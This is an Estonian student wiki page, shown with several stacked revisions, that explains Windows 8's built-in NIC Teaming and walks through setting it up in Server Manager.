Windows 8 tuleb välja kohe sisseehitatud NIC Teaminguga. Ehk ei pea hakkama mingisuguseid intsallimisi tegema või eri tarkvara konfigureerima, mis on mingi teise edasimüüja NIC Teamingu süsteem ja mis omakorda ei oleks Microsofti poolt toetatud. Nüüd saab Windows 8-ga teamida 2 või enam võrgukaarte isegi siis, kui need on erinevate firmade/tootjate poolt tehtud. Veelgi enam, saab seda teami ühendada Hyper-V Virtuaalsete Arvutitega. See on ka üks enim tahetud omadus. Väga oluline on NIC Teaming just „High Availability“ keskkondades, ehk seal kus võrgu ühenduse olemasolek on kriitiliselt vajalik kogu aeg. Tähele tuleks panna aga seda, et see on hetkel veel eelvaade Windows 8-st. Seega võib Microsoft seda veel erinevat pidi täiendada või muuta.
== Kuidas konfigureerida ==
NIC Teamingut on võimalik konfigureerida läbi GUI kui ka läbi PowerShelli. PowerShellis saab NIC Teamingut ka valmis vastustega ära seadistada, mis teeb paigalduse vajadusel veelgi lihtsamaks.
Näide konfigureerimiseks läbi Windowsi graafilise liidese:
* Alustada tuleb Server manager liidesest, kus on võimalik näha võrguliidest, hetkel olemas olevaid teame jm. Taskide alt tuleb valida "New Team". See käivitab wizardi uue teami tegemiseks.
[[File:NIC_t3.jpg|800x600px]]
----
* Ette tuleb wizardi aken, kuhu tuleb sisestada soovitud uue teami nimi ja valida valikust vajalikud võrguadapterid. Antud adapterid siis lisatakse teami.
[[File:NIC_t4.jpg|800x600px]]
----
* OK vajutades läheb hetk aega ja siis ilmub "Teams" listi uus team eelnevalt sisestatud nimega.
Peale valmimist on võimalik ka näha teami staatust koos erinevate andmetega. Nii vähe ongi vaja, et teha valmis NIC Teaming uues tulevas Windowsis.
[[File:NIC_t5b.jpg]]
----
* Minnes arvuti "Network Connections" alla on näha, et sinna on tekkinud juurde uus võrk.
[[File:NIC_t6b.jpg]]
[[File:NIC_t7b.jpg]]
----
* Antud pildi pealt on näha, kuidas teami "DemoTeam" staatuses on Warning. Pildilt on ka näha, et üks võrgukaartidest on lahti ühendatud, kuid tänu NIC Teamingule toimib võrguühendus ikka sama moodi edasi. Pingimine ei katke, ega ka failide kopeerimine või downloadimine.
[[File:NIC_Teaming.JPG|800x600px]]

== Kasutatud materjalid ==
* Windows Server 8 - Sneak Peek WPC 2011 - HyperV Replica - http://www.youtube.com/watch?v=Xz9f2G7drEg&feature=related
* http://www.aidanfinn.com/?p=11787
* http://workinghardinit.wordpress.com/2011/09/21/windows-8-server-developer-preview-nic-teaming-in-the-operating-system-works-just-fine/
* http://virtualisationandmanagement.wordpress.com/2011/09/16/windows-8-server-native-support-for-nic-teaming/
* http://blog.concurrency.com/infrastructure/windows-8-nic-teaming-and-networking/

== Koostas ==
Matis Alliksoo A22

Windows 8 NIC Teaming

2011-10-10T20:31:56Z

Mallikso:

Loading...

== Tutvustus ==

NIC teaming on protsess mis võimaldab grupeerida mitu erinevat füüsilist võrgukaarti üheks loogiliseks võrgukaardiks. See protsess võimaldab suurendada vigade tolerantsi ja edastus kiiruse tasakaalu. Kogu võrgukaartude grupeerimise protsessi kutsutaksegi „teaminguks“. Teamingul on kaks eesmärki:
*'''Vigade tolerants:''' Ühendades vähemalt kaks võrgukaarti üheks loogiliseks võrgukaardiks kasvab võrgu töökindlus märgatavalt.
*'''Kiiruse tasakaal:''' Tasakaalustades võrguliiklust saab suurendada serveri ja võrgu funktsionaalsust. Paketid mis liiguvad saadetakse ja võetakse vastu läbi kõikide võimalike võrguseadmete.

== NIC Teaming enne Windows 8-t ==
NIC Teamingut oli varem võimalik ainult teiste erinevate edasimüüjate poolt saada. Microsoft ei taganud sellele mingisugust tuge läbi „Microsoft Product Support Service“. Selle tulemusena peale mingit uuendust ei pruukinud ka NIC Teaming enam töötada. Tihti ei olnud võimalik ka mitme erineva tarnija võrgukaarte kokku teamida.

== Windows 8 NIC Teaming ==
Windows 8 tuleb välja kohe sisseehitatud NIC Teaminguga. Ehk ei pea hakkama mingisuguseid intsallimisi tegema või eri tarkvara konfigureerima, mis on mingi teise edasimüüja NIC Teamingu süsteem ja mis omakorda ei oleks Microsofti poolt toetatud. Nüüd saab Windows 8-ga teamida 2 või enam võrgukaarte isegi siis, kui need on erinevate firmade/tootjate poolt tehtud. Veelgi enam, saab seda teami ühendada Hyper-V Virtuaalsete Arvutitega. See on ka üks enim tahetud omadus. Väga oluline on NIC Teaming just „High Availability“ keskkondades, ehk seal kus võrgu ühenduse olemasolek on kriitiliselt vajalik kogu aeg. Tähele tuleks panna aga seda, et see on hetkel veel eelvaade Windows 8-st. Seega võib Microsoft seda veel erinevat pidi täiendada või muuta.
== Kuidas konfigureerida ==
NIC Teamingut on võimalik konfigureerida läbi GUI kui ka läbi PowerShelli. PowerShellis saab NIC Teamingut ka valmis vastustega ära seadistada, mis teeb paigalduse vajadusel veelgi lihtsamaks.
Näide konfigureerimiseks läbi Windowsi graafilise liidese:
* Alustada tuleb Server manager liidesest, kus on võimalik näha võrguliidest, hetkel olemas olevaid teame jm. Taskide alt tuleb valida "New Team". See käivitab wizardi uue teami tegemiseks.
[[File:NIC_t3.jpg|800x600px]]
----
* Ette tuleb wizardi aken, kuhu tuleb sisestada soovitud uue teami nimi ja valida valikust vajalikud võrguadapterid. Antud adapterid siis lisatakse teami.
[[File:NIC_t4.jpg|800x600px]]
----
* OK vajutades läheb hetk aega ja siis ilmub "Teams" listi uus team eelnevalt sisestatud nimega.
Peale valmimist on võimalik ka näha teami staatust koos erinevate andmetega. Nii vähe ongi vaja, et teha valmis NIC Teaming uues tulevas Windowsis.
[[File:NIC_t5b.jpg]]
----
* Minnes arvuti "Network Connections" alla on näha, et sinna on tekkinud juurde uus võrk.
[[File:NIC_t6b.jpg]]
[[File:NIC_t7b.jpg]]
----
* Antud pildi pealt on näha, kuidas teami "DemoTeam" staatuses on Warning. Pildilt on ka näha, et üks võrgukaartidest on lahti ühendatud, kuid tänu NIC Teamingule toimib võrguühendus ikka sama moodi edasi. Pingimine ei katke, ega ka failide kopeerimine või downloadimine.
[[File:NIC_Teaming.JPG|800x600px]]

== Kasutatud materjalid ==
* Windows Server 8 - Sneak Peek WPC 2011 - HyperV Replica - http://www.youtube.com/watch?v=Xz9f2G7drEg&feature=related
* http://www.aidanfinn.com/?p=11787
* http://workinghardinit.wordpress.com/2011/09/21/windows-8-server-developer-preview-nic-teaming-in-the-operating-system-works-just-fine/
* http://virtualisationandmanagement.wordpress.com/2011/09/16/windows-8-server-native-support-for-nic-teaming/
* http://blog.concurrency.com/infrastructure/windows-8-nic-teaming-and-networking/

== Koostas ==
Matis Alliksoo A22

Windows 8 NIC Teaming

2011-10-10T20:18:55Z

Mallikso:

Loading...

== Tutvustus ==

NIC teaming on protsess mis võimaldab grupeerida mitu erinevat füüsilist võrgukaarti üheks loogiliseks võrgukaardiks. See protsess võimaldab suurendada vigade tolerantsi ja edastus kiiruse tasakaalu. Kogu võrgukaartude grupeerimise protsessi kutsutaksegi „teaminguks“. Teamingul on kaks eesmärki:
*'''Vigade tolerants:''' Ühendades vähemalt kaks võrgukaarti üheks loogiliseks võrgukaardiks kasvab võrgu töökindlus märgatavalt.
*'''Kiiruse tasakaal:''' Tasakaalustades võrguliiklust saab suurendada serveri ja võrgu funktsionaalsust. Paketid mis liiguvad saadetakse ja võetakse vastu läbi kõikide võimalike võrguseadmete.

== NIC Teaming enne Windows 8-t ==
NIC Teamingut oli varem võimalik ainult teiste erinevate edasimüüjate poolt saada. Microsoft ei taganud sellele mingisugust tuge läbi „Microsoft Product Support Service“. Selle tulemusena peale mingit uuendust ei pruukinud ka NIC Teaming enam töötada. Tihti ei olnud võimalik ka mitme erineva tarnija võrgukaarte kokku teamida.

== Windows 8 NIC Teaming ==
Windows 8 tuleb välja kohe sisseehitatud NIC Teaminguga. Ehk ei pea hakkama mingisuguseid intsallimisi tegema või eri tarkvara konfigureerima, mis on mingi teise edasimüüja NIC Teamingu süsteem ja mis omakorda ei oleks Microsofti poolt toetatud. Nüüd saab Windows 8-ga teamida 2 või enam võrgukaarte isegi siis, kui need on erinevate firmade/tootjate poolt tehtud. Veelgi enam, saab seda teami ühendada Hyper-V Virtuaalsete Arvutitega. See on ka üks enim tahetud omadus. Väga oluline on NIC Teaming just „High Availability“ keskkondades, ehk seal kus võrgu ühenduse olemasolek on kriitiliselt vajalik kogu aeg. Tähele tuleks panna aga seda, et see on hetkel veel eelvaade Windows 8-st. Seega võib Microsoft seda veel erinevat pidi täiendada või muuta.
== Kuidas konfigureerida ==
NIC Teamingut on võimalik konfigureerida läbi GUI kui ka läbi PowerShelli.
Näide konfigureerimiseks läbi Windowsi graafilise liidese:
* Alustada tuleb Server manager liidesest, kus on võimalik näha võrguliidest, hetkel olemas olevaid teame jm. Taskide alt tuleb valida "New Team". See käivitab wizardi uue teami tegemiseks.
[[File:NIC_t3.jpg|800x600px]]
----
* Ette tuleb wizardi aken, kuhu tuleb sisestada soovitud uue teami nimi ja valida valikust vajalikud võrguadapterid. Antud adapterid siis lisatakse teami.
[[File:NIC_t4.jpg|800x600px]]
----
* OK vajutades läheb hetk aega ja siis ilmub "Teams" listi uus team eelnevalt sisestatud nimega.
Peale valmimist on võimalik ka näha teami staatust koos erinevate andmetega. Nii vähe ongi vaja, et teha valmis NIC Teaming uues tulevas Windowsis.
[[File:NIC_t5b.jpg]]
----
* Minnes arvuti "Network Connections" alla on näha, et sinna on tekkinud juurde uus võrk.
[[File:NIC_t6b.jpg]]
[[File:NIC_t7b.jpg]]
----
*
[[File:NIC_Teaming.JPG|800x600px]]

== Kasutatud materjalid ==
== Koostas ==
Matis Alliksoo A22

Windows 8 NIC Teaming

2011-10-10T20:06:33Z

Mallikso:

Loading...

== Tutvustus ==

NIC teaming on protsess mis võimaldab grupeerida mitu erinevat füüsilist võrgukaarti üheks loogiliseks võrgukaardiks. See protsess võimaldab suurendada vigade tolerantsi ja edastus kiiruse tasakaalu. Kogu võrgukaartude grupeerimise protsessi kutsutaksegi „teaminguks“. Teamingul on kaks eesmärki:
*'''Vigade tolerants:''' Ühendades vähemalt kaks võrgukaarti üheks loogiliseks võrgukaardiks kasvab võrgu töökindlus märgatavalt.
*'''Kiiruse tasakaal:''' Tasakaalustades võrguliiklust saab suurendada serveri ja võrgu funktsionaalsust. Paketid mis liiguvad saadetakse ja võetakse vastu läbi kõikide võimalike võrguseadmete.

== NIC Teaming enne Windows 8-t ==
NIC Teamingut oli varem võimalik ainult teiste erinevate edasimüüjate poolt saada. Microsoft ei taganud sellele mingisugust tuge läbi „Microsoft Product Support Service“. Selle tulemusena peale mingit uuendust ei pruukinud ka NIC Teaming enam töötada. Tihti ei olnud võimalik ka mitme erineva tarnija võrgukaarte kokku teamida.

== Windows 8 NIC Teaming ==
Windows 8 tuleb välja kohe sisseehitatud NIC Teaminguga. Ehk ei pea hakkama mingisuguseid intsallimisi tegema või eri tarkvara konfigureerima, mis on mingi teise edasimüüja NIC Teamingu süsteem ja mis omakorda ei oleks Microsofti poolt toetatud. Nüüd saab Windows 8-ga teamida 2 või enam võrgukaarte isegi siis, kui need on erinevate firmade/tootjate poolt tehtud. Veelgi enam, saab seda teami ühendada Hyper-V Virtuaalsete Arvutitega. See on ka üks enim tahetud omadus. Väga oluline on NIC Teaming just „High Availability“ keskkondades, ehk seal kus võrgu ühenduse olemasolek on kriitiliselt vajalik kogu aeg. Tähele tuleks panna aga seda, et see on hetkel veel eelvaade Windows 8-st. Seega võib Microsoft seda veel erinevat pidi täiendada või muuta.
== Kuidas konfigureerida ==
NIC Teamingut on võimalik konfigureerida läbi GUI kui ka läbi PowerShelli.
Näide konfigureerimiseks läbi Windowsi graafilise liidese:
----
1. Alustada tuleb Server manager liidesest, kus on võimalik näha võrguliidest, hetkel olemas olevaid teame jm. Taskide alt tuleb valida "New Team". See käivitab wizardi uue teami tegemiseks.
[[File:NIC_t3.jpg|800x600px]]
----
2. Ette tuleb wizardi aken, kuhu tuleb sisestada soovitud uue teami nimi ja valida valikust vajalikud võrguadapterid. Antud adapterid siis lisatakse teami.
[[File:NIC_t4.jpg|800x600px]]
----
3. OK vajutades läheb hetk aega ja siis ilmub "Teams" listi uus team eelnevalt sisestatud nimega.
[[File:NIC_t5b.jpg]]
[[File:NIC_t6b.jpg]]
[[File:NIC_t7b.jpg]]
[[File:NIC_Teaming.JPG|800x600px]]

== Kasutatud materjalid ==
== Koostas ==
Matis Alliksoo A22

Windows 8 NIC Teaming

2011-10-10T19:54:51Z

Mallikso:

File:NIC t7b.jpg

2011-10-10T19:54:09Z

Mallikso:

File:NIC t6b.jpg

2011-10-10T19:54:01Z

Mallikso:

File:NIC t5b.jpg

2011-10-10T19:53:52Z

Mallikso:

File:NIC Teaming.JPG

2011-10-10T19:43:53Z

Mallikso:

Windows 8 NIC Teaming

2011-10-10T19:41:04Z

Mallikso:

File:NIC t7.jpg

2011-10-10T19:30:30Z

Mallikso:

File:NIC t6.jpg

2011-10-10T19:30:20Z

Mallikso:

File:NIC t5.jpg

2011-10-10T19:30:11Z

Mallikso: